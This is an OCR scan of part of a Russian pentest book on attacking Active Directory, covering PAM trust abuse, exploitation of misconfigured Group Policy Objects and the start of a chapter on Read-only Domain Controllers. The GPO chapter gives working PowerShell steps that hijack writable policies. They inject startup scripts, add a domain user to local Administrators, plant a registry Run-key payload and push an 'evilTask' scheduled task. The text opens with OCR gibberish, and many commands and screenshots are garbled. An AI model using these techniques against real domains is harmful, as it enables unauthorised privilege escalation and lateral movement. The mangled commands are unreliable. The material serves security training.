/Ьd.10-14b91,ФR1b;)lb191I{ d(,4t,,J(,;1{•'1R0I b8 /', b'1'1c9Ьf,f.,ЫrJr Jl,.l/ 1.19/rli•/ l '1/ J1191мrl /1•f1.1l1o1JO]-!l,01• libl1•8 l11<.CJI, f8',8Ь8K,18119t•}']91.idt l'Jf,t•I, 18')6.J/91''1d4 lt,9"(, JJ 1 t.Hlll I brll 4JIH)f1.1/]1.1J 7 l,17,11J1•',flll,tJlf9dR6'i'J;i;)(,0t lt1"190f (d0'>t,b'Jb8J,1 J.IOJp1•0/l'!i]'J/ 11•11 fi} /!,Щ1J'1Ы 1107(• 1.,1 /t 11, /Ott' ]t t 111 t•91 IH} ,1,10', 11, l.t 1 /d01,d1,1,1, 1 1t• 1,11 ,1I, 71,,1')"1< 6.J1•1•1I091 l / bb lbflf11l',bt Rf1'J,1t•h l 11H')dl,fl8'}t,9',~ 17 fЬt>0Rbl\'i){.d8l.,t•Z. f d 71,0<,'J]b""/1!, r 7 ,н16~"t811 ,1 /C)j Ы,9"/ 1,1 Рис. 1.16. Выполняем проверку Эксплуатация Чтобы злоупотребить РАМ Trust, мы должны получить пользователя , который вхо­ дит в контейнер CN=Shadow Principal Configurat i on , CN=Services. Сначала требуется найти пользователей из этого контейнера (рис. 1.17):
Часть 28 /. Пентест PS C: \ Users\Adrт11n1strator> Get-ADO Ject -SearchBase CN•S adow Pr1nc1pa con 19urat1on,CN=Serv1ces," + urationNam,ngcontext) - Filter • -Propert1es • 1 select Name.member,ms0S-ShadowPr1ncipalsid I fl Name member Active Directory Get-AORootDSE .con 1g : Shadow Pr1nc1pal configurat1on : {} msDS - ShadowPr1nc1palS1d : Name member : prodforest-ShadowEnterpri seAdm1n : {CH=Adm1n1 strator ,CN=Users, DC=bast1on,DC= local} msDS-ShadowPr, nc 1pals1d : s - l-S - 21 - 17659079б7-2493Sб00l3-34545785-Sl9 Рис. # 1.17. • • Поиск пользователей Module Get-ADObj ect -SearchBase ("CN=Shadow Princi pal Conf igurat ion, CN=Serv1ces, DC~pri v, IJC= local" -Filter * -Properties * 1 select Name,memЬer,msDS-ShadowPrincipalSid I fl АО Я уже рассказывал выше, что означает данный вывод. Как только мы сможем скомпрометировать пользователя из этого контейнера (memЬer), получим доступ, ко­ торый имеет принципал, указанный в msDS-ShadowPrincipalSid. В нашем примере это будет доступ, который имеют участники группы Enterpise Admins. Мы можем получить доступ к обычному лесу с помощью PowerShell, WMI и дру­ RDP нам придется их гих подобных инструментов без ввода учетных данных. Для вводить. Обратите внимание: если шифрование Kerberos AES не включено для доверия, нам нужно изменить свойство wsмan Trusted.Нosts и использовать аутентификацию Negotiate для PSRemoting: # production.local - это управляемый лес. Мы находимся в бастионном Enter-PsSession dc.production.local -Authentication NegotiateWithimplicitCredeпtial Другой вариант позволяет SID - использовать SIDHistory (опция /sids в мимике). Доверие РАМ с высокими привилегиями пересекать доверие леса, которое обычно фильтруется с помощью SIDFiltering. Заключение Вот такой короткой получилась глава. Я надеюсь, что смог достаточно понятным языком рассказать о сложных концепциях.
ГЛАВА 2 Эксплуатируем небезопасные групповые политики Основная причина успеха большинства взломов, будь то пентест или реальное про­ никновение злоумышленников, - это допущенные администраторами ошибки в настройках и конфигурации. Сегодня мы поговорим о способах эксплуатации небезопасных групповых политик в сетях Active Directory. Структура Групповые политики используются повсеместно. Это удобный инструмент, позво­ ляющий системным администраторам управлять настройками клиентских систем в домене. Сама «архитектура» групповых политик - клиент-серверная. Чаще всего контроллер домена выступает в роли сервера, на котором создаются, настраивают­ ся и изменяются политики, а доменные компьютеры, пользователи и иные объекты в AD - клиенты, которые эти самые политики получают и применяют. Групповая политика называется Group Policy Object (GPO). Внутри каждой GPO есть две сущности: □ Group Policy Container - специальный объект, который имеет идентификатор GUID, обозначающий групповую политику. Находится в CN=Policies, CN=System; □ Group Policy Template - файлы управлять объектами в AD. GPO применяется к .Аомх и .ADML, позволяющие с помощью Organizational Units GPO (организационным единицам). Можно счи­ тать это некой папкой, в которой находятся пользователи, компьютеры и другие объекты. Изначально в только что созданном домене будут две политики: назначается текущему домену; □ Default Domain Policy - □ Default Domain Controller's Policy - назначается контроллер домена. По умолчанию имя этой А теперь зайдем в тейнеры (рис. 2.1 ). ADUC OU, OU - и увидим, что наравне с OU в состав которого входит Domain Controllers. в домене существуют и кон­
Часть 30 Пентест .SpL'CterOps Подр03д~ение Admin Подр•3Д~ение Active Directory ou Описани~ Тиn Имя /. . Default container for upgraded computer • . Контей нер Default conta iner for security identifiers (SIDs) associate... Подра3Д~ение Контейнер Default container for key objects lostAndFound Default container for orphaned objects Managed Service Ас ... Контейнер Default container for managed service accounts People Подр•3Д~ение ~ Program Data Контейнер Default location for storage of application data. Подра,д~ение Подра,д~ение Контейнер Builtin system settings Testing Подр•3А~•ние Tier 1 Подра,д~ение Tier2 Подр•3Д~ение Users Контейнер Default container for upgraded user accounts Рис . Контейнеры структуру AD . 2.1. В домене существуют и контейнеры это лишь дополнительные объекты , позволяющие организовать К контейнеру нельзя привязать GPO. Чтобы применить тейнеру, сначала следует добавить его в соответствующую зывать GPO OU GPO к кон­ и уже к ней привя­ GPO. распространяется по сети через общий сетевой ресурс SYSVOL, который хранит­ ся на контроллере домена. Все пользователи в домене обычно имеют к нему доступ и периодически синхронизируются для обновления настроек своих объектов груп­ повой с: политики. Общий \ Wi ndows \SYSVOL \sysvol \ ресурс SYSVOL по умолчанию указывает на каталог на контроллере домена . Для синхронизации нужно время. Иногда на обновление настроек может уйти до двух часов . Если нам требуется немедленная синхронизация , то на компьютере надо ввести команду gpupda t e / f orce С GPO могут быть связаны какие-либо права . Например, пользователь Admin l llll имеет право Gene ri cAll на политику users i nfo . Неправильная настройка таких прав приводит к появлению векторов э ксплуатации , которые мы рассмотрим главе . Обнаружение Обнаружить доступные GPO можно следующим образом (рис . ls \\< дoмe н >\SYSVOL\< дoмeн> \Po licies\ В результате мы получим GUID всех доступных политик . 2.2): в этой
Глава 2. Эксплуатируем небезопасные групповые политики 31 PS С: \Usеt·s\Ад1.tинистратор. WIN-9BEК1LQS7SI> 1s \\cri nge. 1 ab\SYSVOL \cri nge~l аЬ\Ро 1i"ci es\ Каталог: \\ct·inge. lab\SYSVOL\cringe. lab\Policies Mode Last:Writ:eTime d----d----- 09.01.2023 09.01.2023 Lengt:h Name {31B2FЗ40-016D-11D2-945F-OOC04FB984F9} {бAC1786C-016F-11D2-945F-OOC04fB984F9} 22:31 22:31 Рис. Если у нас есть доступ к вот так (рис. 2.2. Доступные GPO Active Directory Module, то сможем получить информацию 2.3): Get-ADObject -LDAPFilter "(ObjectClass=GroupPolicyContainer)" -Properties Name, DisplayName,gPCFileSysPath I select Name, DisplayName,GPCFileSysPath I Format-List Рис. Наконец, 2.3. Получение информации с использованием PowerView Active Directory Module имеет такую же функциональность (рис. 2.4): Get-NetGpo PS С : \ Usеr· s\Адuинистратор. WIN - 98EK1lQS7SI> usncr·eated sy ~temflags di s p1ayname gpcmachi neext en s ; onnames whenchanged cbject c las s -gpcfunctiona l 'ityversion show-i nadvancedvi e\Vonly usnchanged 'd sco1·ep1·opagat i ondata narne adspath get - netgpo 5900 - 194615705 б 0efault Oornain Pol i cy [ { 35 3 78f.AC - 683F-1.102-A89A-0OC04FBBП А2} {5 ЗDbABlB- 2488-1101-A28C-0OC04FB94Fl7} ] { { 827D319f-6fAC- 1.1D2- A4EA - 0OC04 F79 4F 79F83A} {5 ЗDбАВlВ - 24 88-1101 - A28C - 0OC04FB94Fl 7}] 09.01.2023 17:37:40 { top, container, groupPolicyContainer} , Тгне 12589 {09.01 .2023 17:49:49, 09.01.2023 17:49:48, 09.01.2023 17:49:47, 09.01.2023 17:49:46 . . . } { 3182FЗ40-0160-11 D2 - 945 F - 0OC04F8984F9} LDAP : //CN={31B2F 340-016D-1102-945F-OOC04FB984F9} ,CN=Poli ci es ,CN=:Systern,OC=cri nge,OC=l аЬ flag s о cn { 318 2F 340-0160-1102 - 94 5F- 0OC 04FB 984 F9} True \ \ cri nge. 1 ab\s ysvo 1\ cringe. lab\Pol i ci 4!S\{ 31B2F340- 016D-1102-945F-OOC04FB9S4F9} CN"'{ J1B2F 340- 0160- 1102-945 F - OOC04FB984F9} ,С N=Po 1 i ci es ,CN=System, OC=cri nge, ОС= 1 аЬ 09.01 . 2023 1 7: 31:02 J 4 60f7abe9-bbc.З-4af 3- bff 4-0aa39d5 Ja54d CN=Group-Po l i cy- Cont ai ner, C~Schema ,Ctt=Conf i gur ati оп, DC=c1·i nge , ОС= 1аЬ 'i sct·itl calsystemobject gpcfilesyspath di stingui shedname ,vhencreated vers i onnumber :1n;tancetype -obJect91нd ;. objectcategory \1s nci·eated systernf l ags ·d lsplayname gpanachi neextens i onnames 'Whent.hanged objectclass ,gpcfunct;ona 1 ityver si on showinadvancedviewon ly usnchanged dscorepropa.gat i onddta name ads.path f lags cn i s cr i tica l syst emobj ect gpcfi 1 esyspath d1 st1 ngui stiedname \\/hen created ver s ion1н1mber i nst ancetype obJectguid Iobj ectcategory 5903 -1946157056 0efault Domain Co11tro llers Policy { {82 70319E-6EAC-1.102-A4EA-OOC04F79F8ЗA}{ 80ЗЕ.14АО-В4J:В-1100-АООО-ООАОС90F5 748} ] 09.01.2023 17:31:02 {top, c:ontainer, groupPolicy(ontainer} 2 Тгuе 5903 {09.01.2023 17:49:49, 09.01.2023 17:49:48, 09.01.2023 17:49:47, 09.01.2023 17:49:46 ... } {бAC1786C-016F-11D2-94SF-0OC04fB984F9} L0AP ://Ot={ бAC178бC - 0lбF -U02-945F-OOC04f8984F9} ,СН=Ро 11 c:i es ,CN=-System,OC=crl nge,OC= 1 аЬ о { бАСl 786С -016F - 1102- 94 5 J:- ООС 04 f В984 F 9} True \ \c:r l nge. 1 ab\sys vo 1\ cr i nge. 1аЬ\ Ро 1 i c:i es \ { 6AC1786C-0lбF-11D2-945 F-OOC04f8984F9} CN• { бАС1 7 В6С - 0161: -11 D2 - 94SJ:- OOC04 f89&4F9} , CN..,Po 1 i с i es ,CN=Sys tem, OC= cri no~, ос" 1 аЬ 09.01.2023 17: 31:02 1 4 eS 8880f d - 4910-4220- 8cdf - Зd064d2 З 7За2 CN" G1·0L1p- Ро 1 1cy- Conta 1ner ,CN:,:,Schema ,C N...Confi 9L1rat; оп, OC=c:ri nge, ос " 1 аЬ 1 Рис. 2.4. Получение информации с использованием PowerView
32 Часть /. Пентест Active Directory GUID получить имя политики. Конечно , AD Module и PowerView умеют делать это самостоятельно, но в случае, если у нас есть только GUID, имя можно получить следующим образом (рис . 2.5): Теперь желательно из # RSAT Get- Gpo - GUI D ' (205 F0E03 -1 7C3-4E 9B- 925E- 330FAD565CA1) ' # PowerVi ew vЗ Ge t-Domai nGPO - Ident i ty ' ( 205F0E03- l 7C3 -4E9B- 925E- 330FADS6SCA1) ' PS C:\Users\Aдuиниcтpaтop.WIN-9BEК1LQS7SI> DisplayName ;Domai nName p,vner Id GpoStatus Description CreationTime ModificationTime UserVersion Compt,terVersion \mli Fi lter 1 select Displ ayName Get-Gpo -gu i d '{6AC1786C-016F-11D2-945F-OOC04f8934FS}' Oefault Domain Controlle,·s Policy cringe.lab СRINGЕ\Адuинистраторы доuена бac178бc-Olбf-11d2-945f-00c04fb984f9 AllSettingsEnaЫed 09.01.2023 22:31:02 09.01.2023 22:31:02 АО АО Version: о, SysVol Version: О Version: 1, SysVol Version: 1 Рис. 2.5. Получение имени политики Мы также можем изучить политики, привязанные к определенному устройству (рис. 2.6): # PowerView v2 Get-Net GPO - Compute r Name name. domai n. com Рис. 2.6. Изучаем политики, привязанные к определенному устройству
Глава 2. Эксплуатируем небезопасные групповые политики 33 # PowerView vЗ Get-DomainGPO -Computerldentity name.domain.com -Properties Name, DisplayName Наконец, самое интересное. Пора изучать все ACL на найденные GPO, пытаясь найти мисконфиr. Сделать это можно с помощью разных средств. Чаще всего ис­ пользуются или BloodHound, или PowerView (рис. 2.7): # PowerView v2 ACL на все политики Get-NetGPO 1 % (Get-ObjectAcl -ResolveGUIDs -Name $ .Namel # Получение # Найти GPO, на которые пользователь student имеет права Get-NetGPO 1 %(Get-ObjectAcl -ResolveGUIDs -Name $_.Namel -match "student"I PS A: \SSD\Projects\Artictes> Get-NetGPD 1 , {Get-ObjoctAct ,; • ?($_.IdentityReference ,,..,. S_. lluJo} InheritedObjectType АН Obj ectDN ObjectType ldentityReference CN={ЗlB2FЗЧ&-elбD-llD2-9Ц5F-OOCDЧFB98'1F9}, CN=Po ticies, CN=Syste~, DC=cringe, DC=t~b Islnherited ActiveDirectoryRights Propagat ionFl.ags Att CRINGE\vaska Fa\se CreateChi\d , DeteteChild, Setf, ~riteProperty I DeteteTree , Detete , Gen@ricRead, WriteDact, Writi!Owner lnheritOnty ObjectFl.igs None lnherita.nceFtags lnhf'ritanceType Containerlnherit AccessControt Туре Descendents Attow Рис. 2.7. Поиск ошибок в конфиrурации Пользователь vaska имеет подозрительно высокие права на GPO с GUID 131B2F340016D-11D2-945F-OOC04FB984F91. PowerView третьей версии (он же PowerView DEV) не отстает от своего младшего собрата, но отличается тем, что не умеет автоматически преобразовывать SID в понятное для человека имя пользователя, поэтому в конец каждого командлета добавляется огромная строка: # PowerView vЗ ACL на все политики Get-DomainGPOIGet-DomainObjectAcl -ResolveGUIDs I Foreach-Object ($ 1 Add-MemЬer -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.Securityldentifier.value) -Force; $_ 1 # Находим # Находим GPO, на которые у пользователя domain\user есть права Get-DomainGPOIGet-DomainObjectAcl -ResolveGUIDs I Foreach-Object ($_ 1 Add-MemЬer -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $ .Securityldentifier.value) - Force; $_ 11 Foreach-Object (if ($_ .Identity -eq $("domain\user'')) ($_ 11 # Находим GPO, на которую пользователи с RID > 1000 имеют какие-нибудь права Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' 1 ? ( ($_ .Securityldentifier -match •лs-1-5-.*-[1-9]\d(З, 1$') -and ($_ .ActiveDirectoryRights -match 'WritePropertylGenericAlllGenericWrite)WriteDacllWriteOwner') 1 (кроме ожидаемых, таких как Enterprise Admins, Domain Admins) , GPO Get-DomainGPO I Get-DomainObjectAcl -ResolveGUIDs I where ( $_.ActiveDirectoryRights -match "GenericWritelAllExtendedRightslWriteDacllWritePropertylWriteMemЬerlGenericAlll # Обнаружение пользователей которые могут изменять
Часть 34 /. Пентест Active Directory WriteOwner" -and $_.Securityldentifier -match "S-1-5-21-3301805923-005976665-244893303[\d] {4,10}"} Наконец, можно использовать ВloodHound: // Находим nолитики, на которые nользователь USER@OOМAIN.LOCAL имеет nрава match p=AllShortestPaths 1 (u: User {name: "USER@DOМAIN. LOCAL"}} -[r:MemЬerOflGenericWrite*l .. ]->(o:GPO}} return р Теперь, обнаружив политики и возможный мисконфиг в виде пользователя '1aska с подозрительными привилегиями, можно приступать к получению учетной записи этого пользователя. Причем разведка на этом не заканчивается, мы можем обнару­ жить объекты, которые имеют право создавать новые GPO в домене: Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=cringe,DC=lab" -ResolveGUIDs where { $_.ObjectAceType -eq "Group-Policy-Contaшer" } Чтобы найти все OU, на которые 2.8): распространяется политика, воспользуемся вот таким скриптом (рис. # PowerView v2 Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" 1 % {Get-NetComputer -ADSpath $ } # PowerView vЗ Get-DomainOU -GPLink '{<GPP_GUID>}' 1 % {Get-DomainObject -SearchBase $_.distinguishedname) lselect samaccounttype, cn PS С :\U s еrs\Ддuинистратор. WIN - 9BEК1LQS7SI > usncreated 6031 systefltflags i scг;t 1са lsystemobject True get - domainoн -gp l 111~ {6AC17SбC - 011,F - 11D2 - 94SF - OOC04fB984F9} - 194б1S70S б gplir1k whencl1a11ged obj ect с 1ass [ LDдP: / /CN = {бAC1 7 86C - 016F - 11D2 - 94 S F - 0OC04 f B984F9 } ,CN =Po li с1 es ,CN =Sy s tem, ОС = с п n9e , ОС = l a b; О ) 09.01.2023 17:31:03 s hm\'i ,,advancedv; e-.,·only Fal se 6031 {09.01.2023 1 7: 49:48, 09 . 01 . 2023 1 7 :49:48, 09.01.2023 1 7 :49:48, 09.01 . 2023 17 : 49:4 7 .. . } usncl1a11ged dsco,~ep,~opagat i ondat а name {top, 01·ga11izationa1Unit} Oll Domai n Contro 11 ers Oefault container for domain controllers OU=Oomai n Contr ol 1 ers , OC =et· i nge, ОС = l аЬ Oomaln Controller s \"hencreated i nstancetype obJectguid 09.01.2023 1 7 :31:03 4 fff92b&d - 194&- 4 71S - 9асб - 02080249fЬ3с objectcategory CN,:,Organ 1 zati опа 1- Unit ,CN=Schema, C~onf i des cript i on di s.tingui s.hedname Рис. 2.8. Поиск OU, gнrat lon, OC=cri nge , ОС = 1 аЬ на которые распространяется политика Теперь поищем пользователей, которые могут связывать GPO с OU: Get-DomainOU I Get-DomainObjectAcl -ResolveGUIDs I where ( $_.ObjectAceType -eq "GP-Link" Get-DomainOUIGet-DomainObjectAcl -ResolveGUIDs I where { { ($_.ObjectAceType -match "GP-LinklGP-Options"} -and ($_.ActiveDirectoryRights -eq "WriteProperty"}} -or {$_.ActiveDirectoryRights -eq "WritePropertylGenericAlllGenericWrite"}} IForeach-Object {$_ Add-MemЬer -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.Securityldentifier.value} -Force; $_} 1
Глава 2. Эксплуатируем небезопасные групповые политики 35 Эксплуатация mmc Криво настроенные права можно э ксплуатировать и с помощью стандартного при­ л ожения mmc.e xe, установленного на каждом компьютере с Windows. Сначала запус­ каем это приложение от лица пользователя , имеющего права на какую-либо поли­ тику . Далее добавляем нужную оснастку (рис. 2.9). Консоль 1 - [Корень консоли] Файл Действие Справка Окно Избранное Вид Ctrl+N Со:,дать Открыть .. . Ctrl+O Сохранить °CTRL+S Сохранить как ... CТRL+M Добавить или удалить оснастку... Параметры ,.. 1 gpme 2dsa Выход Рис . Добавляем оснастку 2.9. Эксплуатация с использованием Group Policy Management, 2. 1О) . mmc.exe выбираем политику и тогда смо­ жем ее редактировать (рис . Лес v cringe.lab Область Домены v v Сведения Параме- До~...,. с..- cringe.l11b Defou~ Domoin Policy .SpecterOps Admin Пока:sо,ь свя:sи в раа,оnсnнии : С _ _ _ _ _ _ _ _ _ _ _ _ _ _---< --=-_mЬ atr,ge ._ GPO с::ея3аны слеД)'IОЩие с8'111Ы , доме11::~1 и ПOA)83fJl'Jneни• : Ра3МеU1ение Dom11in Controllers nnm,.,, r.nгtrt>len • Default OomJin Cor••0'\-11 ..... 0,...1;..,, И3менить ... Grouper-Groups Принудительный People AWS Семь включена ✓ AZR Сохранить отчtт... Вид Но еое Ol(HO отсюда Удолить Переи.меноеать Обновить Справка Рис . 2.1О . Редактирование политики Прину""те,.,,.,IА Сея3Ь3а~"УеОе Нвт .а.
Часть 36 /. Пентест Active Directory Например, создадим юзера, зайдя по следующему пути: Computer configuratioп > Prefereпces > Coпtrol Рапеl Settings > Local Users and Groups > New > Local User > Action: Create > User name: <user> А затем добавим его в группу локальных администраторов: Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > New > Local User > Action: Update > Group name : <Administrators> > MemЬers: Add: <user> Файл .ini Этот способ я подсмотрел у Дмитрия Неверова, руководителя группы анализа за­ щищенности внутренней инфраструктуры в компании «Ростелеком-Солар». Чаще всего доступа к графическому интерфейсу у нас не будет, поэтому придется либо использовать инструменты, описанные ниже, либо вручную создавать специальный конфигурационный файл. Например, если наша задача - выполнить скрипт на конечных устройствах, то сначала нужно создать каталог \Machine\Scripts\Startup в корне GPO и поместить в него скрипт Test.psl. В скрипте могут быть абсолютно любые команды. Следую­ щим шагом в каталоге \Machine\ в корне GPO потребуется открыть файл psscripts.ini. Это скрытый файл. Если файла не существует, его нужно создать. Содержимое файла будет таким: [Startup] 0CmdLine=Test.psl 0Parameters= Этот файл содержит ссылку на скрипт, который нужно выполнить. Также при не­ обходимости в нем прописываются параметры выполнения (когда они есть). Если нужно запустить несколько скриптов, первый символ в этом файле будет инкре­ ментироваться. Для скриптов .bat используется файл scripts. ini. После завершения подготовительных действий остается только изменить атрибут gpanachineextensionnames с помощью PowerView: Set-DomainObject -Identity VнlnGPO -Set @( 'gpcmachineextensionnames'~ '[{42B5FME-6536-11D2-AE5A-0000F87571E3}(40B6664F-4972-11D1-A7CA-0000F87571E3}] '} Значения 42B5FAAE-6536-l lD2-AE5A-0000F87571E3 И 40B6664F-4972-llDl-A7CA-0000F87571E3 доку­ ментированы как ProcessScriptsGroнpPolicy и Scripts в (Startнp/Shнtdown). Используя их GPO, мы создаем возможность выполнения скрипта при применении групповой политики. Причем если атрибут gpanachineextensionnames уже содержит другие записи, то их то­ же нужно внести в команду. Также стоит изменить параметр Version в файле GPT.ini на единицу. Теперь после перезагрузки компьютера скрипт тest.psl будет выпол­ нен. По умолчанию задержка на выполнение скриптов составляет пять минут. Подобным образом можно добавлять локальных администраторов на компьютере. Сначала создаем файл GptТmpl.inf по пути \Machine\Microsoft\Windows NT\SecEdit (иногда
Глава 2. 37 Эксплуатируем небезопасные групповые политики эти каталоги отсутствуют и их придется создать). Содержимое файла будет сле­ дующим: [Unicode] Unicode=yes [Version ] signature= "$ C НI CAGO$" Revis ion=l [Group MemЬership] •s-1- 5- 32 - 544 MemЬers = *S-l-5-21-2722789902-3858190539-1593706810-1119 Здесь к локальной группе локальных администраторов (s-1-5- 32-544 ) добавляется SID доменного пользователя (s-1-s-21-2722789902- 3858 190539-15937068 10-1 119). При до­ бавлении пользователя в группу локальных администраторов необходимо учиты­ вать порядок применения GPO. Наши действия могут привести к тому, что леги­ тимные локальные администраторы будут удалены из группы локальных админи­ страторов, поэтому стоит добавить и их SID в файл GptТmpl. inf через запятую. Следующий шаг заключается в изменении атрибута gpanachineextensionnames, эту за­ дачу можно выполнить с помощью PowerView: Set -DomainObject -Identity VulnGPO -Set @{ 'gpcmachineextensionnames'= '[(8 27D319E-6EAC-11D2-A4EA-00C04F79F83A){803El4A0-B4FB-11D0-A0D0-00A0C90F574B)] ') 827D319E- 6EAC- l 1D2-A4EA-00C04F79F83A имеет значение Securi ty, а 803El4A0-B4FB-11D0-A0D000A0 C90 F574B - Computer Restricted Groups. Применяя их к GPO, мы можем изменять списки участников локальных групп. Помните: если атрибуты gpcuserextensioппames и gpanachiпeexteпsioппames уже содержат другие записи, их также нужно внести в нашу команду PowerView. Наконец, не за­ будьте изменить параметр Versioп в файле GPT.ini на единицу. Создание GPO Если на этапе разведки получилось обнаружить пользователя, который имеет право GPO и связывать ее с OU, то это также может помочь при эксплуатации. PowerView не имеет возможности создавать GPO,- поэтому следует использовать RSA Т (https://www.microsoft.com/ru-RU/download/details.aspx?id=45520). Уста­ новка этой утилиты не представляет никаких сложностей (рис. 2. 1 1): создавать Add-WiпdowsCapability -Опliпе -Name Rsat.GroupPolicy.Maпagemeпt.Tools.0 .0. 1 . 0 Import-Module GroupPolicy ;,5 С :\Usеrs\Адuинистратор. WIN-9BEК1LQS7SI> Add-W1 ndoi.-.,sCapab1 l 1ty Path : )nline : True -1"ri • r,,e -~.а ... е Rsat. GroupPol 1 cy.Management. Tools. О. 0.1. О RestartNeeded : False i'S С :\Usеrs\Адuинистратор. WIN-9BE.К1LQS751> Impo,·t-Modul е GroupPo 11 су Рис. 2.11. Установка • RSAT
Часть 38 /. Пентест Active Directory PS С :\Usеrs\Ддuинистратор. WIN-9BEК1LQS7SI> Ne\v-Gpo -Name TestGPO DisplayName DomainName O\vner Id GpoStatus Desc,·i pti on CreationTime ~1odifi cati onTime UserVer sion Comp,1terVe1·s i on TestGPO c,·i nge. 1аЬ СRINGЕ\Ддuинистраторы доuена беЗс90fе - ЗЗ1е-4574-88f2 -с е9З47752dЗ2 А 11 Setti ngsE11aЫed 26.01.2023 17:07:09 26.01.2023 17:07:10 AD Version: О, SysVol Version: О AD Ve,·s i on: О, SysVo 1 Ve,·s i on: О \mli Fi lt et· Рис. Заводим новую GPO (рис. 2.12. Заводим новую GPO 2.12): New-Gpo -Name TestGPO Связываем с OU Get-GPO TestGPO 11 ', ( I \ O" t•t ... \ Адuи1ш1 1 ~)d IЩJ. (рис. New-GPLink -Target "ou:Test,dc:domain,dc:local" wI N 9111 к I t 1}~/'}1 ~ ( ,i•I (,11i1.,ltl : l11 •lt'Юf1• lllt· 4'1 / 4 1)1,1,l,1yN,11n1· • lt•-.. 1(,f'l) 1r LH' i r1,1l1l1-d lr1 f111t1'fJ l,1l -.. 1 l ,нqt•I 011 1 Otd1·r 2.13): IШI J (,110 1 ,, .. 1 (,РО I Nl'\1' <,,. l 111~ 1 ,11 ф•I '"сНJ '•t'I V 1( (•Л< ( (II HII ... ,(Н1 ()(.( ,OII 1 't't 1 , l( ( ' 1 IЩС 1)1. 1 t! 1' t1•'}!4//'Jl<II/ ~ 1·1· v111•A1toш1l-..,OU Ш.l,OU 11 ◄ ·1 l,IX tt 111111 · ,IX Рис. 2.13. ldb Связываем с OU После успешного связывания можно либо вручную изменять созданную GPO, как было показано выше, либо использовать для этого подходящие инструменты, например SharpGPOAbuse (https://github.com/FSecureLABS/SharpGPOAbuse) pyGPOAbuse (https://github.com/Нackndo/pyGPOAbuse). Когда работы завершатся, GPO будет отвязана от или OU: Remove-GPLink -Name TestGPO -Target "ou:Test,dc:domain,dc:local" И удалена: Remove-GPO -Name TestGPO Перемещение через GPO Ничто не мешает нам использовать Опять же ставим GPO как средство бокового перемещения. RSA Т: Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0 Import-Module GroupPolicy И изменяем созданную политику, добавляя в реестр (в ключ автозагрузки) наш пейлоад: Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Кеу 'HКLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe calc.exe' -Туре ExpandString /с
Глава 2. Эксплуатируем небезопасные групповые политики Если установить RSA Т 39 нет возможности, то можно импортировать PowerShell- (https://github.com/Зgstudent/Нomework-of-Powershell/ЫoЬ/master/New­ cкpипт GPOimmediateTask.psl), который позволяет создать запланированную задачу: New-GPOimmediateTask -TaskName evilTask -Command and -CommandArguments c:\dsec\getadmin.cmd" -GPODisplayName "Vict1mGPO" -Verbose -Force "/с Заключение Групповые политики стоят далеко не на самом первом месте в чек-листе типовых уязвимостей Active Directory. Тем не менее, злоупотребляя ими, атакующий сможет получить чрезвычайно выгодное положение, захватив сразу целый главное - OU. Самое не забывайте, что изменения применяются далеко не сразу. Компьюте­ рам нужно время для синхронизации. Если ждать нет возможности, используйте команду gpupdate /force.
ГЛАВА 3 Пентестим Read-only Domain Controllers Windows существует специальный подвид контроллеров домена Read-only Domain Controller. В этой главе мы поговорим об уязви­ В сетях на основе под названием мостях таких контроллеров и рассмотрим векторы атак, которые можно к ним при­ менить. Теория Определения и особенности Read-on\y Domain Controller был обеспечить безопасное цель - представлен в Windows Server 2008. Его основная взаимодействие сервера со службой каталогов. Очень часто подобные контроллеры домена ставят в каких-нибудь удаленных офи­ сах компании, старых филиалах и прочих местах, где невозможно гарантировать достаточную физическую безопасность сервера. Получив доступ к такому устрой­ ству, ни один злоумышленник не сможет толком повлиять на домен. Внутри RODC хранится копия базы АО, но чуточку измененная. Во-первых, не со­ храняется множество атрибутов, например ms-Mcs~AdmPwd пароль локального администратора при настроенном в этом атрибуте хранится LAPS. Во-вторых, разрешено кешировать учетные данные лишь конкретных пользователей. Например, пользова­ телей этого самого удаленного офиса. Что такое кеширование? Это обычное сохранение учетных данных пользователей. Сохраняются они в файле ntds. di t, равно как и на обычном контроллере домена. Причем RODC не создает домен, а добавляется в существующий. Делается это еще на этапе установки и выглядит так, как показано на рис. При этом использование RODC 3 .1. дает множество преимуществ в плане безопасно­ сти: отдельный DNS-cepвep, изменения в которс\1 никак н-: отражаются на основ­ ном, делегирование роли администратора любому пользователю (причем этот пользователь необязательно должен быть администратором на обычных контрол­ лерах домена, рис. 3.2).
Глава 3. Ri;i Пентестим Read-only Domain Controllers 41 Мастер настройки доменн ых служб Active Directory □ ЦЕЛЕВОЙ СЕРВЕР Конфигурация развертывания Конq,иrурация раз верты х rodc Выберите операцию ра.зве:рты~ния • Добавить к.онтроме:р домена в существующий домен Добавить новый домен в сущестеующий ле<: Добавить ноеый .лес Укажите сведени.я о домене для этой операции Домен: CRINGE Для выnолнени.я этой операции еведите учетные данные СRINGЕ\Админисrратор Подробнее о конфиrурации раз.вертывания Рис. 3.1. Настройка RODC ~ Мастер настройки доменньр: служб Active Directory Параметры □ ЦЕЛЕВОЙ СЕРВЕР RODC Коt,;фиrураци• разверты _. 1 rodc Де.11е~роsан.н.ая учетная 3аП14С.Ь адми н истратора Парамеч,ы контроллера .. Пара••етры RCJD..: Дополнительные парам ... Пуn< Просмотреть параметры Проверка nредваритель... х O..иrnm. CRINGE\FAUSТlNOSHERМAN Учетные з.аnиси, которым разрешена реммкация nароле14 в [_ ёiiNGЕ\мёндЁL~LАМвЁкr-- 11· Выбраn.... RODC -] i --·-- 1 даба•иn.... Удалить ~------------------------~ Учетttые 3аnис:и, коюрым заnрещ~а рем-ихацИя паролей s RODC CRINGE\RAMONA_ТURNER 1 CRINGE\RANDELL_COLON J r Добавить. .. CRINGE\RAМON_STEWARТ 1 ------·--- _ i~_У-'р-'-;,л-~_ть Ес11и одной и той .же учетно~ заnиси доступ одноsременно ра3решен и :sапрещен, то приори~ отдается отк:азу в доступе . Падроб~е• о n•р•метрах RODC < Н•'"А 11 Рис. 3.2. Долее > Назначение пользователей _ _,
